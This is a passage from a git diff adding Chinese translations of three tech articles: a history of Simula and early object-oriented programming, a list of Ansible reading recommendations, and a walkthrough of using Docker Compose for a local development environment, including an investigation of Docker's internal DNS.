https://github.com/mactsouk/opensource.com +[7]: https://twitter.com/mactsouk diff --git a/published/202206/20190131 OOP Before OOP with Simula.md b/published/202206/20190131 OOP Before OOP with Simula.md new file mode 100644 index 0000000000..c5d9c97a84 --- /dev/null +++ b/published/202206/20190131 OOP Before OOP with Simula.md @@ -0,0 +1,183 @@ +[#]: subject: "OOP Before OOP with Simula" +[#]: via: "https://twobithistory.org/2019/01/31/simula.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14682-1.html" + +Simula 诞生之前的面向对象程序设计 +====== + +想象一下,你坐在河边,河岸上如茵绿草,不远处湍急河流;午后的阳光慵懒惬意,使人陷入冥想哲思,不觉开始思考眼前的河流是否真实存在。诚然,几米外确实有河水奔流而下。不过,我们所称为“河流”的存在究竟是什么呢?毕竟,河水奔流不息,一直处于变化之中。似乎,“河流”这个词无法指代任何固定不变的事物。 + +2009 年,Clojure 的创始人 里奇·希基Rich Hickey 发表了 [一场精彩的演讲][1],探讨了为什么上文那样的哲学窘境会给面向对象程序的编程范式带来难题。他认为,人们看待计算机程序中的对象与看待河流的逻辑是一样的:我们想象对象是固定不变的,即使对象的许多或者说全部的属性都无时无刻不处于变化之中。所以,这种逻辑并不正确,我们无法区分在不同状态下同一对象实例的不同之处。程序中没有明确的时间的概念。人们只是单纯地用着同一个名字,以期在引用对象时,对象能够处于预期的状态中。这样,我们也就难免会遇到 故障bug。 + +希基总结道,这一难题的应对办法就是人们应该将世界建模成作用于不可变数据的 进程process 的集合,而不是可变的对象的集合。换句话说,我们应把每个对象看作一条“河流”,因果相连。总结说来,你应该使用 Clojure 等函数式语言。 + +![][2] + +_作者在远足途中思考面向对象程序设计的本体论问题。_ + +自从希基发表演讲之后,人们对函数式编程语言的兴趣不断提升,主流的面向对象编程语言也大多都采用了函数式编程语言。尽管如此,大多数程序员依旧沿用自己的老一套,继续将对象实例化,不断改变其状态。这些人长此以往,很难做到用不同的视角看待编程。 + +我曾经想写一篇关于 Simula 的文章,大概会写到我们今天所熟知的面向对象的理念是何时又是如何应用到程序语言之中的。但是,我觉得写当初的 Simula 与如今的面向对象程序设计的 _迥然不同之处_,会更有趣一些,这我敢打包票。毕竟,我们现在熟知的面向对象程序设计还未完全成型。Simula 有两个主要版本:Simula I 和 Simula 67。Simula 67 为世界带来了 class类的继承class hierarchy 以及 虚拟方法virtual method;但 Simula I 是一个初稿,它实验了如何能够将数据和进程捆绑起来的其他设想。Simula I 的模型不是希基提出的函数式模型,不过这一模型关注的是随时间展开的 _进程_,而非有着隐藏状态的对象之间的相互作用。如果 Simula 67 采用了 Simula I 的理念,那么我们如今所知的面向对象程序设计可能会大有不同——这类偶然性启示我们,不要想着现在的程序设计范式会一直占据主导地位。 + +### 从 Simula 0 到 Simula 67 + +Simula 是由两位挪威人 克里斯汀·尼加德Kristen Nygaard奥利-约翰·达尔Ole-Johan Dahl 创建的。 + +20 世纪 50 年代末,尼加德受雇于 挪威防务科学研究中心Norwegian Defense Research Establishment(NDRE),该研究中心隶属于挪威军方。在那里,他负责设计 蒙特卡洛模拟方法Monte Carlo simulations,用于核反应堆设计与操作研究。最初,那些模拟实验是由人工完成的;后来,实验在 Ferranti Mercury 电脑 [^1] 上编入程序运行。尼加德随后发现,将这些模拟实验输入电脑需要一种更有效的方式。 + +尼加德设计的这种模拟实验就是人们所知的“离散事件模型discrete event model”,这种模拟记录了一系列事件随着时间改变系统状态的进程。但是问题的关键在于模拟可以从一个事件跳跃到另一个事件中,因为事件是离散的,事件之间的系统不存在任何变化。根据尼加德和达尔在 1966 年发表的一篇关于 Simula 的论文,这种模型被迅速应用于“神经网络、通信系统、交通流量、生产系统、管理系统、社会系统等” [^2] 领域的分析。因此,尼加德认为,其他人描述模拟实验时,可能也需要更高层级的模型。于是他开始物色人才,帮助他完成他称之为“模拟语言Simulation Language”或者“蒙特卡洛编译器Monte Carlo Compiler”的项目 [^3]。 + +达尔当时也受雇于挪威防务科学研究中心,专攻语言设计,此时也加入了尼加德的项目,扮演“沃兹尼亚克”的角色(LCTT 译注:指苹果公司联合创始人斯蒂夫·盖瑞·沃兹尼亚克)。在接下来一年左右的时间,尼加德和达尔携手开发了 Simula 0 语言。[^4] 这一语言的早期版本仅仅是在 ALGOL 60 基础上进行的较小拓展,当时也只是打算将其用作预处理程序而已。当时的语言要比后来的编程语言抽象得多,其基本语言结构是“车站stations”与“乘客customers”,这些结构可以用于针对具体某些离散事件网络建立模型。尼加德和达尔给出了一个模拟飞机离港的例子。[^5] 但是尼加德和达尔最后想出了一个更加通用的语言结构,可以同时表示“车站”和“乘客”,也可以为更广泛的模拟建立模型。这是两个主要的概括,它改变了 Simula 作为 ALGOL 专属包的定位,使其转变为通用编程语言。 + +Simula I 没有“车站stations”和“乘客customers”的语言结构,但它可以通过使用“进程process”再现这些结构。(LCTT 译注:此处使用的“进程”,与当前计算机中用来指代一个已执行程序的实体的概念不同,大致上,你可以将本文中所说的“进程”理解为一种“对象”。)一个进程包含大量数据属性,这些属性与作为进程的 _操作规程_ 的单个行为相联系。你可能会把进程当作是只有单个方法的对象,比如 `run()` 之类的。不过,这种类比并不全面,因为每个进程的操作规程都可以随时暂停、随时恢复,因为这种操作规程属于 协程coroutine 的一种。Simula I 程序会将系统建立为一套进程的模型,在概念上这些进程并行运行。实际上,一个时间点上能称为“当前进程”的只有一个进程。但是,一旦某个进程暂停运行,那么下一个进程就会自动接替它的位置。随着模拟的运行,Simula 会保持一个 “事件通知event notices” 的时间线,跟踪记录每个进程恢复的时间。为了恢复暂停运行的进程,Simula 需要记录多个 调用栈call stacks 的情况。这就意味着 Simula 无法再作为 ALGOL 的预处理程序了,因为 ALGOL 只有一个 调用栈call stacks。于是,尼加德和达尔下定决心,开始编写自己的编译器。 + +尼加德和达尔在介绍该系统的论文中,借助图示,通过模拟一个可用机器数量有限的工厂,阐明了其用法。[^6] 在该案例中,进程就好比订单:通过寻找可用的机器,订单得以发出;如果没有可用的机器,订单就会搁置;而一旦有机器空出来,订单就会执行下去。有一个订单进程的定义,用来实例化若干种不同的订单实例,不过这些实例并未调用任何方法。该程序的主体仅仅是创建进程,并使其运行。 + +历史上第一个 Simula I 编译器发布于 1965 年。尼加德和达尔在离开挪威防务科学研究中心之后,就进入了 挪威计算机中心Norwegian Computer Center 工作,Simula I 也是在这里日渐流行起来的。当时,Simula I 在 UNIVAC 公司的计算机和 Burroughs 公司的 B5500 计算机上均可执行。[^7] 尼加德和达尔两人与一家名为 ASEA 的瑞典公司达成了咨询协议,运用 Simula 模拟加工车间。但是,尼加德和达尔随后就意识到 Simula 也可以写一些和模拟完全不搭边的程序。 + +奥斯陆大学University of Oslo教授 斯坦因·克罗达尔Stein Krogdahl 曾写过关于 Simula 的发展史,称“真正能够促使新开发的通用语言快速发展的催化剂”就是 [一篇题为《记录处理》Record Handling的论文][10],作者是英国计算机科学家 查尔斯·安东尼·理查德·霍尔C.A.R. Hoare。[^8] 假如你现在读霍尔的这篇论文,你就不会怀疑这句话。当人们谈及面向对象语言的发展史时,一定会经常提起霍尔的大名。以下内容摘自霍尔的《记录处理》一文: + +> 该方案设想,在程序执行期间,计算机内部存在任意数量的记录,每条记录都代表着程序员在过去、现在或未来所需的某个对象。程序对现有记录的数量保持动态控制,并可以根据当前任务的要求创建新的记录或删除现有记录。 +> +> 计算机中的每条记录都必须属于数量有限但互不重合的记录类型中的一类;程序员可以根据需要声明尽可能多的记录类型,并借助标识符为各个类型命名。记录类型的命名可能是普通词汇,比如“牛”、“桌子”以及“房子”,同时,归属于这些类型的记录分别代表一头“牛”、一张“桌子”以及一座“房子”。 + +霍尔在这片论文中并未提到子类的概念,但是达尔由衷地感谢霍尔,是他引导了两人发现了这一概念。[^9] 尼加德和达尔注意到 Simula I 的进程通常具有相同的元素,所以引入父类来执行共同元素就会非常方便。这也强化了“进程”这一概念本身可以用作父类的可能性,也就是说,并非每种类型都必须用作只有单个操作规程的进程。这就是 Simula 语言迈向通用化的第二次飞跃,此时,Simula 67 真正成为了通用编程语言。正是如此变化让尼加德和达尔短暂地萌生了给 Simula 改名的想法,想让人们意识到 Simula 不仅仅可以用作模拟。[^10] 不过,考虑到 “Simula”这个名字的知名度已经很高了,另取名字恐怕会带来不小的麻烦。 + +1967 年,尼加德和达尔与 控制数据公司Control Data 签署协议,着手开发Simula 的新版本:Simula 67。同年六月份的一场会议中,来自控制数据公司、奥斯陆大学以及挪威计算机中心的代表与尼加德和达尔两人会面,意在为这门新语言制定标准与规范。最终,会议发布了 [《Simula 67 通用基础语言》][14],确定了该语言的发展方向。 + +Simula 67 编译器的开发由若干家供应商负责。Simula 用户协会The Association of Simula Users(ASU)也随后成立,并于每年举办年会。不久,Simula 67 的用户就遍及了 23 个国家。[^11] + +### 21 世纪的 Simula 语言 + +人们至今还记得 Simula,是因为后来那些取代它的编程语言都受到了它的巨大影响。到了今天,你很难找到还在使用 Simula 写程序的人,但是这并不意味着 Simula 已经从这个世界上消失了。得益于 [GNU cim][16],人们在今天依然能够编写和运行 Simula 程序。 + +cim 编译器遵循 1986 年修订后的 Simula 标准,基本上也就是 Simula 67 版本。你可以用它编写类、子类以及虚拟方法,就像是在使用 Simula 67 一样。所以,用 Python 或 Ruby 轻松写出短短几行面向对象的程序,你照样也可以用 cim 写出来: + +``` +! dogs.sim ; +Begin + Class Dog; + ! The cim compiler requires virtual procedures to be fully specified ; + Virtual: Procedure bark Is Procedure bark;; + Begin + Procedure bark; + Begin + OutText("Woof!"); + OutImage; ! Outputs a newline ; + End; + End; + + Dog Class Chihuahua; ! Chihuahua is "prefixed" by Dog ; + Begin + Procedure bark; + Begin + OutText("Yap yap yap yap yap yap"); + OutImage; + End; + End; + + Ref (Dog) d; + d :- new Chihuahua; ! :- is the reference assignment operator ; + d.bark; +End; +``` + +你可以按照下面代码执行程序的编译与运行: + +``` +$ cim dogs.sim +Compiling dogs.sim: +gcc -g -O2 -c dogs.c +gcc -g -O2 -o dogs dogs.o -L/usr/local/lib -lcim +$ ./dogs +Yap yap yap yap yap yap +``` + +(你可能会注意到,cim 先将 Simula 语言编译为 C 语言,然后传递给 C 语言编译器。) + +这就是 1967 年的面向对象程序设计,除了语法方面的不同,和 2019 年的面向对象程序设计并无本质区别。如果你同意我的这一观点,你也就懂得了为什么人们会认为 Simula 在历史上是那么的重要。 + +不过,我更想介绍一下 Simula I 的核心概念——进程模型。Simula 67 保留了进程模型,不过只有在使用 `Process` 类 和 `Simulation` 块的时候才能调用。 + +为了表现出进程是如何运行的,我决定模拟下述场景。想象一下,有这么一座住满了村民的村庄,村庄的旁边有条小河边,小河里有很多的鱼。但是,村里的村民却只有一条鱼竿。村民们胃口很大,每隔一个小时就饿了。他们一饿,就会拿着鱼竿去钓鱼。如果一位村民正在等鱼竿,另一位村民自然也用不了。这样一来,村民们就会为了钓鱼排起长长的队伍。假如村民要等五、六分钟才能钓到一条鱼,那么这样等下去,村民们的身体状况就会变得越来越差。再假如,一位村民已经到了骨瘦如柴的地步,最后他可能就会饿死。 + +这个例子多少有些奇怪,虽然我也不说不出来为什么我脑袋里最先想到的是这样的故事,但是就这样吧。我们把村民们当作 Simula 的各个进程,观察在有着四个村民的村庄里,一天的模拟时间内会发生什么。 + +完整程序可以通过此处 [GitHub Gist][17] 的链接获取。 + +我把输出结果的最后几行放在了下面。我们来看看一天里最后几个小时发生了什么: + +``` +1299.45: 王五饿了,要了鱼竿。 +1299.45: 王五正在钓鱼。 +1311.39: 王五钓到了一条鱼。 +1328.96: 赵六饿了,要了鱼竿。 +1328.96: 赵六正在钓鱼。 +1331.25: 李四饿了,要了鱼竿。 +1340.44: 赵六钓到了一条鱼。 +1340.44: 李四饿着肚子等着鱼竿。 +1340.44: 李四在等鱼竿的时候饿死了。 +1369.21: 王五饿了,要了鱼竿。 +1369.21: 王五正在钓鱼。 +1379.33: 王五钓到了一条鱼。 +1409.59: 赵六饿了,要了鱼竿。 +1409.59: 赵六正在钓鱼。 +1419.98: 赵六钓到了一条鱼。 +1427.53: 王五饿了,要了鱼竿。 +1427.53: 王五正在钓鱼。 +1437.52: 王五钓到了一条鱼。 +``` + +可怜的李四最后饿死了,但是他比张三要长寿,因为张三还没到上午 7 点就饿死了。赵六和王五现在一定过得很好,因为需要鱼竿的就只剩下他们两个了。 + +这里,我要说明,这个程序最重要的部分只是创建了进程(四个村民),并让它们运行下去。各个进程操作对象(鱼竿)的方式与我们今天对对象的操作方式相同。但是程序的主体部分并没有调用任何方法,也没有修改进程的任何属性。进程本身具有内部状态,但是这种内部状态的改变只有进程自身才能做到。 + +在这个程序中,仍然有一些字段发生了变化,这类程序设计无法直接解决纯函数式编程所能解决的问题。但是正如克罗达尔所注意到的那样,“这一机制引导进行模拟的程序员为底层系统建立模型,生成一系列进程,每个进程表示了系统内的自然事件顺序。”[^12] 我们不是主要从名词或行动者(对其他对象做事的对象)的角度来思考正在进行的进程。我们可以将程序的总控制权交予 Simula 的事件通知系统,克罗达尔称其为 “时间管理器time manager”。因此,尽管我们仍然在适当地改变进程,但是没有任何进程可以假设其他进程的状态。每个进程只能间接地与其他进程进行交互。 + +这种模式如何用以编写编译器、HTTP 服务器以及其他内容,尚且无法确定。(另外,如果你在 Unity 游戏引擎上编写过游戏,就会发现两者十分相似。)我也承认,尽管我们有了“时间管理器”,但这可能并不完全是希基的意思,他说我们在程序中需要一个明确的时间概念。(我认为,希基想要的类似于 [阿达·洛芙莱斯Ada Lovelace 用于区分一个变量随时间变化产生的不同数值的上标符号][19]。)尽管如此,我们可以发现,面向对象程序设计前期的设计方式与我们今天所习惯的面向对象程序设计并非完全一致,我觉得这一点很有意思。我们可能会理所当然地认为,面向对象程序设计的方式千篇一律,即程序就是对事件的一长串记录:某个对象以特定顺序对其他对象产生作用。Simula I 的进程系统表明,面向对象程序设计的方式不止一种。仔细想一下,函数式语言或许是更好的设计方式,但是 Simula I 的发展告诉我们,现代面向对象程序设计被取代也很正常。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][20],也可通过 [RSS feed][21] 订阅,获取最新文章(每四周更新一篇)。_ + + +[^1]: Jan Rune Holmevik, “The History of Simula,” accessed January 31, 2019, .  +[^2]: Ole-Johan Dahl and Kristen Nygaard, “SIMULA—An ALGOL-Based Simulation Langauge,” Communications of the ACM 9, no. 9 (September 1966): 671, accessed January 31, 2019, [http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.95.384&rep=rep1&type=pdf][24].  +[^3]: Stein Krogdahl, “The Birth of Simula,” 2, accessed January 31, 2019, .  +[^4]: 出处同上。  +[^5]: Ole-Johan Dahl and Kristen Nygaard, “The Development of the Simula Languages,” ACM SIGPLAN Notices 13, no. 8 (August 1978): 248, accessed January 31, 2019, .  +[^6]: Dahl and Nygaard (1966), 676.  +[^7]: Dahl and Nygaard (1978), 257.  +[^8]: Krogdahl, 3.  +[^9]: Ole-Johan Dahl, “The Birth of Object-Orientation: The Simula Languages,” 3, accessed January 31, 2019, .  +[^10]: Dahl and Nygaard (1978), 265.  +[^11]: Holmevik.  +[^12]: Krogdahl, 4.  + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2019/01/31/simula.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: https://www.infoq.com/presentations/Are-We-There-Yet-Rich-Hickey +[2]: https://twobithistory.org/images/river.jpg +[10]: https://archive.computerhistory.org/resources/text/algol/ACM_Algol_bulletin/1061032/p39-hoare.pdf +[14]: http://web.eah-jena.de/~kleine/history/languages/Simula-CommonBaseLanguage.pdf +[16]: https://www.gnu.org/software/cim/ +[17]: https://gist.github.com/sinclairtarget/6364cd521010d28ee24dd41ab3d61a96 +[19]: https://twobithistory.org/2018/08/18/ada-lovelace-note-g.html +[20]: https://twitter.com/TwoBitHistory +[21]: https://twobithistory.org/feed.xml +[22]: https://twitter.com/TwoBitHistory/status/1075075139543449600?ref_src=twsrc%5Etfw +[24]: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.95.384&rep=rep1&type=pdf diff --git a/published/202206/20210104 10 ways Ansible is for everyone.md b/published/202206/20210104 10 ways Ansible is for everyone.md new file mode 100644 index 0000000000..a47695f268 --- /dev/null +++ b/published/202206/20210104 10 ways Ansible is for everyone.md @@ -0,0 +1,75 @@ +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14739-1.html) +[#]: subject: (10 ways Ansible is for everyone) +[#]: via: (https://opensource.com/article/21/1/ansible) +[#]: author: (James Farrell https://opensource.com/users/jamesf) + +分享 10 篇 Ansible 文章 +====== + +> 通过这些 Ansible 文章扩展你的知识和技能。 + +![](https://img.linux.net.cn/data/attachment/album/202206/21/111840akw4bjd13dh8ayky.jpg) + +我希望能够激发刚刚接触 Ansible 的初学者的兴趣。这里有一系列总结文章,我已将其包括在内,以供你随意后续查阅。 + +### 适合初学者的 Ansible + +这五篇文章对于 Ansible 新手来说是一个非常好的起点。前三篇文章由 Seth Kenlon 撰写。 + + * 如果你不了解 Ansible ,[现在可以做这 7 件事][2] 来入手。这是很好的入门指导,它收集了用于管理硬件、云、容器等的链接。 + * 在 《[编排与自动化有何区别?][3]》 这篇文章中,你会学到一些术语和技术路线,将会激发你对 Ansible 感兴趣。 + * 文章 《[如何用 Ansible 安装软件][4]》 覆盖了一些脚本概念和一些 Ansible 的好惯例,给出了一些本地或远程管理软件包的案例。 + * 在 [我编写 Ansible 剧本时学到的 3 个教训][5] 中,使自己养成 Jeff Geerling 所传授的好习惯,他是一位真正的 Ansible 资深人士。源代码控制、文档、测试、简化和优化是自动化成功的关键。 + * 《[我使用 Ansible 的第一天][6]》 介绍了记者 David Both 在解决重复性开发任务时的思考过程。这篇文章从 Ansible 的基础开始,并说明了一些简单的操作和任务。 + +### 尝试 Ansible 项目 + +一旦你掌握了基础和并拥有良好习惯,就可以开始一些具体主题和实例了。 + + * Ken Fallon 在 《[使用 Ansible 管理你的树莓派机群][7]》 一文中介绍了一个部署和管理树莓派设备机群的示例。它介绍了受限环境中的安全和维护概念。 + * 在 《[将你的日历与 Ansible 融合以避免日程冲突][8]》一文中,Nicolas Leiva 快速介绍了如何使用前置任务和条件在自动日程安排中中强制执行隔离窗口 + * Nicolas 在 《[创建一个整合你的谷歌日历的 Ansible 模块][9]》中完成了他的日历隔离的理念。他的文章深入探讨了在 Go 中编写自定义 Ansible 模块以实现所需的日历连接。 Nicolas 介绍了构建和调用 Go 程序并将所需数据传递给 Ansible 并接收所需输出的不同方法。 + +### 提升你的 Ansible 技巧 + +Kubernetes 是近来的热门话题,以下文章提供了一些很好的示例来学习新技能。 + + * 在 《[适用于 Kubernets 自动编排你的 Ansible 模块][10]》 文章中,Seth Kenlon 介绍了 Ansible Kubernetes 模块, 介绍了用于测试的基本 Minikube 环境,并提供了一些用于Pod 控制的 `k8s` 模块的基本示例。 + * Jeff Geerling 在 《[使用 Ansible 的 Helm 模块构建 Kubernetes Minecraft 服务器][11]》 中解释了 Helm Chart 应用程序、Ansible 集合以及执行一个有趣的项目以在 k8s 集群中设置你自己的 Minecraft 服务器的概念。 + +我希望你的 Ansible 旅程已经开始,并能常从这些文章中充实自己。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/ansible + +作者:[James Farrell][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jamesf +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_lightbulb_gears_devops_ansible.png?itok=TSbmp3_M (gears and lightbulb to represent innovation) +[2]: https://opensource.com/article/20/9/ansible +[3]: https://opensource.com/article/20/11/orchestration-vs-automation +[4]: https://opensource.com/article/20/9/install-packages-ansible +[5]: https://opensource.com/article/20/1/ansible-playbooks-lessons +[6]: https://opensource.com/article/20/10/first-day-ansible +[7]: https://opensource.com/article/20/9/raspberry-pi-ansible +[8]: https://opensource.com/article/20/10/calendar-ansible +[9]: https://opensource.com/article/20/10/ansible-module-go +[10]: https://opensource.com/article/20/9/ansible-modules-kubernetes +[11]: https://opensource.com/article/20/10/kubernetes-minecraft-ansible +[12]: https://opensource.com/article/20/1/ansible-news-edition-six +[13]: https://opensource.com/article/20/2/ansible-news-edition-seven +[14]: https://opensource.com/article/20/3/ansible-news-edition-eight +[15]: https://opensource.com/article/20/4/ansible-news-edition-nine +[16]: https://opensource.com/article/20/5/ansible-news-edition-ten +[17]: https://opensource.com/how-submit-article diff --git a/published/202206/20210104 Docker Compose- a nice way to set up a dev environment.md b/published/202206/20210104 Docker Compose- a nice way to set up a dev environment.md new file mode 100644 index 0000000000..fd2ddc9846 --- /dev/null +++ b/published/202206/20210104 Docker Compose- a nice way to set up a dev environment.md @@ -0,0 +1,245 @@ +[#]: collector: (lujun9972) +[#]: translator: (lkxed) +[#]: reviewer: (turbokernel) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14747-1.html) +[#]: subject: (Docker Compose: a nice way to set up a dev environment) +[#]: via: (https://jvns.ca/blog/2021/01/04/docker-compose-is-nice/) +[#]: author: (Julia Evans https://jvns.ca/) + +Docker Compose:搭建开发环境的好方式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/23/180033lpg4v4bz0bbb1719.jpg) + +大家好!我又写了一篇关于 [我最喜欢的电脑工具][1] 的文章。这一篇讲的是 Docker Compose! + +本文主要就是讲一讲我对 Docker Compose 有多么满意啦(不讨论它的缺点)!咳咳,因为它总能够完成它该做的,并且似乎总能有效,更棒的是,它的使用还非常简单。另外,在本文中,我只讨论我是如何用 Docker Compose 来搭建开发环境的,而不涉及它在生产中的使用。 + +最近,我考虑了很多关于这种个人开发环境的搭建方式,原因是,我现在把所有的计算工作都搬到了一个私有云上,大概 20 美元/月的样子。这样一来,我就不用在工作的时候花时间去思考应该如何管理几千台 AWS 服务器了。 + +在此之前,我曾花了两天的时间,尝试使用其他的工具来尝试搭建一个开发环境,搭到后面,我实在是心累了。相比起来,Docker Compose 就简单易用多了,我非常满意。于是,我和妹妹分享了我的 `docker-compose` 使用经历,她略显惊讶:“是吧!你也觉得 Docker Compose 真棒对吧!” 嗯,我觉得我应该写一篇博文把过程记录下来,于是就有了你们看到的这篇文章。 + +### 我们的目标是:搭建一个开发环境 + +目前,我正在编写一个 Ruby on Rails 服务(它是一个计算机“调试”游戏的后端)。在我的生产服务器上,我安装了: + + * 一个 Nginx 服务器 + * 一个 Rails 服务 + * 一个 Go 服务(使用了 [gotty][2] 来代理一些 SSH 连接) + * 一个 Postgres 数据库 + +在本地搭建 Rails 服务非常简单,用不着容器(我只需要安装 Postgres 和 Ruby 就行了,小菜一碟)。但是,我还想要把匹配 `/proxy/*` 的请求的发送到 Go 服务,其他所有请求都发送到 Rails 服务,所以需要借助 Nginx。问题来了,在笔记本电脑上安装 Nginx 对我来说太麻烦了。 + +是时候使用 `docker-compose` 了! + +### docker-compose 允许你运行一组 Docker 容器 + +基本上,Docker Compose 的作用就是允许你运行一组可以互相通信 Docker 容器。 + +你可以在一个叫做 `docker-compose.yml` 的文件中,配置你所有的容器。我在下方将贴上我为这个服务编写的 `docker-compose.yml` 文件(完整内容),因为我觉得它真的很简洁、直接! + +``` +version: "3.3" +services: + db: + image: postgres + volumes: + - ./tmp/db:/var/lib/postgresql/data + environment: + POSTGRES_PASSWORD: password # yes I set the password to 'password' + go_server: + # todo: use a smaller image at some point, we don't need all of ubuntu to run a static go binary + image: ubuntu + command: /app/go_proxy/server + volumes: + - .:/app + rails_server: + build: docker/rails + command: bash -c "rm -f tmp/pids/server.pid && source secrets.sh && bundle exec rails s -p 3000 -b '0.0.0.0'" + volumes: + - .:/app + web: + build: docker/nginx + ports: + - "8777:80" # this exposes port 8777 on my laptop +``` + +这个配置包含了两种容器。对于前面两个容器,我直接使用了现有的镜像(`image: postgres` 和 `image: ubuntu`)。对于后面两个容器,我不得不构建一个自定义容器镜像,其中, `build: docker/rails` 的作用就是告诉 Docker Compose,它应该使用 `docker/rails/Dockerfile` 来构建一个自定义容器。 + +我需要允许我的 Rails 服务访问一些 API 密钥和其他东西,因此,我使用了 `source secrets.sh`,它的作用就是在环境变量中预设一组密钥。 + +### 如何启动所有服务:先 “build” 后 “up” + +我一直都是先运行 `docker-compose build` 来构建容器,然后再运行 `docker-compose up` 把所有服务启动起来。 + +你可以在 yaml 文件中设置 `depends_on`,从而进行更多启动容器的控制。不过,对于我的这些服务而言,启动顺序并不重要,所以我没有设置它。 + +### 网络互通也非常简单 + +容器之间的互通也是一件很重要的事情。Docker Compose 让这件事变得超级简单!假设我有一个 Rails 服务正在名为 `rails_server` 的容器中运行,端口是 3000,那么我就可以通过 `http://rails_server:3000` 来访问该服务。就是这么简单! + +以下代码片段截取自我的 Nginx 配置文件,它是根据我的使用需求配置的(我删除了许多 `proxy_set_headers` 行,让它看起来更清楚): + +``` +location ~ /proxy.* { + proxy_pass http://go_server:8080; +} +location @app { + proxy_pass http://rails_server:3000; +} +``` + +或者,你可以参考如下代码片段,它截取自我的 Rails 项目的数据库配置,我在其中使用了数据库容器的名称(`db`): + +``` +development: + <<: *default + database: myproject_development + host: db # <-------- 它会被“神奇地”解析为数据库容器的 IP 地址 + username: postgres + password: password +``` + +至于 `rails_server` 究竟是如何被解析成一个 IP 地址的,我还真有点儿好奇。貌似是 Docker 在我的计算机上运行了一个 DNS 服务来解析这些名字。下面是一些 DNS 查询记录,我们可以看到,每个容器都有它自己的 IP 地址: + +``` +$ dig +short @127.0.0.11 rails_server +172.18.0.2 +$ dig +short @127.0.0.11 db +172.18.0.3 +$ dig +short @127.0.0.11 web +172.18.0.4 +$ dig +short @127.0.0.11 go_server +172.18.0.5 +``` + +### 是谁在运行这个 DNS 服务? + +我(稍微)研究了一下这个 DNS 服务是怎么搭建起来的。 + +以下所有命令都是在容器外执行的,因为我没有在容器里安装很多网络工具。 + +**第一步:**:使用 `ps aux | grep puma`,获取 Rails 服务的进程 ID。 + +找到了,它是 `1837916`!简单~ + +**第二步:**:找到和 `1837916` 运行在同一个网络命名空间的 UDP 服务。 + +我使用了 `nsenter` 来在 `puma` 进程的网络命令空间内运行 `netstat`(理论上,我猜想你也可以使用 `netstat -tupn` 来只显示 UDP 服务,但此时,我的手指头只习惯于打出 `netstat -tulpn`)。 + +``` +$ sudo nsenter -n -t 1837916 netstat -tulpn +Active Internet connections (only servers) +Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name +tcp 0 0 127.0.0.11:32847 0.0.0.0:* LISTEN 1333/dockerd +tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 1837916/puma 4.3.7 +udp 0 0 127.0.0.11:59426 0.0.0.0:* 1333/dockerd +``` + +我们可以看到,此时有一个运行在 `59426` 端口的 UDP 服务,它是由 `dockerd` 运行的!或许它就是我们要找的 DNS 服务? + +**第三步**:确定它是不是我们要找的 DNS 服务 + +我们可以使用 `dig` 工具来向它发送一个 DNS 查询: + +``` +$ sudo nsenter -n -t 1837916 dig +short @127.0.0.11 59426 rails_server +172.18.0.2 +``` + +奇怪,我们之前运行 `dig` 的时候,DNS 查询怎么没有发送到 `59426` 端口,而是发送到了 `53` 端口呢?这到底是怎么回事呀? + +**第四步**:iptables + +对于类似“这个服务似乎正运行在 X 端口上,但我却在 Y 端口上访问到了它,这是什么回事呢?”的问题,我的第一念头都是“一定是 iptables 在作怪”。 + +于是,我在运行了容器的网络命令空间内执行 `iptables-save`,果不其然,真相大白: + +``` +$ sudo nsenter -n -t 1837916 iptables-save +.... redacted a bunch of output .... +-A DOCKER_POSTROUTING -s 127.0.0.11/32 -p udp -m udp --sport 59426 -j SNAT --to-source :53 +COMMIT +``` + +在输出中有一条 iptables 规则,它将 `53` 端口的流量发送到了 `59426` 上。哈哈,真有意思! + +### 数据库文件储存在一个临时目录中 + +这样做有一个好处:我可以直接挂载 Postgres 容器的数据目录 `./tmp/db`,而无需在我的笔记本电脑上管理 Postgres 环境。 + +我很喜欢这种方式,因为我真的不想在笔记本电脑上独自管理一个 Postgres 环境(我也真的不知道该如何配置 Postgres)。另外,出于习惯,我更喜欢让开发环境的数据库和代码放在同一个目录下。 + +### 仅需一行命令,我就可以访问 Rails 控制台 + +管理 Ruby 的版本总是有点棘手,并且,即使我暂时搞定了它,我也总是有点担心自己会把 Ruby 环境搞坏,然后就要修它个十年(夸张)。 + +(使用 Docker Compose)搭建好这个开发环境后,如果我需要访问 Rails 控制台console(一个交互式环境,加载了所有我的 Rails 代码),我只需要运行一行代码即可: + +``` +$ docker-compose exec rails_server rails console +Running via Spring preloader in process 597 +Loading development environment (Rails 6.0.3.4) +irb(main):001:0> +``` + +好耶! + +### 小问题:Rails 控制台的历史记录丢失了 + +我碰到了一个问题:Rails 控制台的历史记录丢失了,因为我一直在不断地重启它。 + +不过,我也找到了一个相当简单的解决方案(嘿嘿):我往容器中添加了一个 `/root/.irbrc` 文件,它能够把 IRB 历史记录文件的保存位置指向一个不受容器重启影响的地方。只需要一行代码就够啦: + +``` +IRB.conf[:HISTORY_FILE] = "/app/tmp/irb_history" +``` + 